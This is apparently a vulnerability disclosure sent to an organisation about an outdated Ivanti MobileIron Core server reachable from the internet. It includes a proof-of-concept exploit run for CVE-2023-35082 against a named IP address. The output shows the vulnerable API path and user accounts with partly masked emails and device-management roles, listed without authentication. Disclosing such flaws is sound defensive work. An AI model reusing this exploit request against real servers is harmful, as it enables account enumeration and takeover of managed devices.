The following Ivanti MobileIron instance is publicly accessible and looks out-dated :
It is critical to update to a safe version as soon as possible since it could lead to instance and devices takeover. Those vulnerabilities are currently used in ransomware campaign and could damage your network.
Reference:
Proof Of Concept:
$ python3.10 exploit.py --verbose -u https://87.190.10.228 10:32:41
Fetching data from: https://87.190.10.228:443/mifs/asfV3/api/v2/authorized/users?adminDeviceSpaceId=1
The response is not a valid JSON. The site is not vulnerable.
Fetching data from: http://87.190.10.228:8080/mifs/asfV3/api/v2/authorized/users?adminDeviceSpaceId=1
http://87.190.10.228:8080 may be vulnerable
Fetching data from: https://87.190.10.228:8080/mifs/asfV3/api/v2/authorized/users?adminDeviceSpaceId=1
Connection Error...
http://87.190.10.228:8080 may be vulnerable to CVE-2023-35082
Display Name: Name Masked
Last Login IP: IP Address Masked
Email Address: *****@*****.kassel-airport.de
Roles: ROLE_MPW_RETIRE, ROLE_USER_GOOGLE_DEVICE_ACCOUNT, ROLE_MPW_UNLOCK, ROLE_MPW_RESET_AC_PASSCODE,
ROLE_MPW_LOCATE, ROLE_MPW_CHANGE_OWNERSHIP, ROLE_USER_PORTAL_RW, ROLE_MPW_LOCK, ROLE_MPW_RESET_PIN,
ROLE_MPW_WIPE, ROLE_MPW_REG
--------------------------------------------------
Display Name: Name Masked
Last Login IP: IP Address Masked
Email Address: *****@*****.kassel-airport.de
Roles: ROLE_MPW_UNLOCK, ROLE_USER_PORTAL_RW, ROLE_MPW_LOCK, ROLE_MPW_REG
--------------------------------------------------
Display Name: Name Masked
Last Login IP: IP Address Masked
Email Address: *****@*****.kassel-airport.de
Roles: ROLE_MPW_UNLOCK, ROLE_USER_PORTAL_RW, ROLE_MPW_LOCK, ROLE_MPW_REG
--------------------------------------------------
Display Name: Name Masked
Last Login IP: IP Address Masked
Email Address: *****@*****.kassel-airport.de
Roles: ROLE_MPW_UNLOCK, ROLE_USER_PORTAL_RW, ROLE_MPW_LOCK, ROLE_MPW_REG
--------------------------------------------------
Display Name: Name Masked
Last Login IP: IP Address Masked
Email Address: *****@*****.kassel-airport.de
Roles: ROLE_MPW_RETIRE, ROLE_USER_GOOGLE_DEVICE_ACCOUNT, ROLE_MPW_UNLOCK, ROLE_MPW_RESET_AC_PASSCODE,
ROLE_MPW_LOCATE, ROLE_MPW_CHANGE_OWNERSHIP, ROLE_USER_PORTAL_RW, ROLE_MPW_LOCK, ROLE_MPW_RESET_PIN,
ROLE_MPW_WIPE, ROLE_MPW_REG
--------------------------------------------------
Display Name: Name Masked
Last Login IP: IP Address Masked
Email Address: *****@*****.kassel-airport.de
Roles: ROLE_MPW_UNLOCK, ROLE_USER_PORTAL_RW, ROLE_MPW_LOCK, ROLE_MPW_REG
--------------------------------------------------
Display Name: Name Masked
Last Login IP: IP Address Masked
Email Address: *****@*****.kassel-airport.de
Roles: ROLE_MPW_UNLOCK, ROLE_USER_PORTAL_RW, ROLE_MPW_LOCK, ROLE_MPW_REG
--------------------------------------------------
Display Name: Name Masked
Last Login IP: IP Address Masked
Email Address: *****@*****.kassel-airport.de
Roles: ROLE_MPW_UNLOCK, ROLE_USER_PORTAL_RW, ROLE_MPW_LOCK, ROLE_MPW_REG
--------------------------------------------------
Display Name: Name Masked
Last Login IP: IP Address Masked
Email Address: *****@*****.kassel-airport.de
Roles:
--------------------------------------------------
Display Name: Name Masked
Last Login IP: IP Address Masked
Email Address: *****@*****.kassel-airport.de
Roles:
Found vulnerable Ivanti MobileIron Core instance:
Affected by CVE-2023-35082
CVE-2023-35082 found on port 8080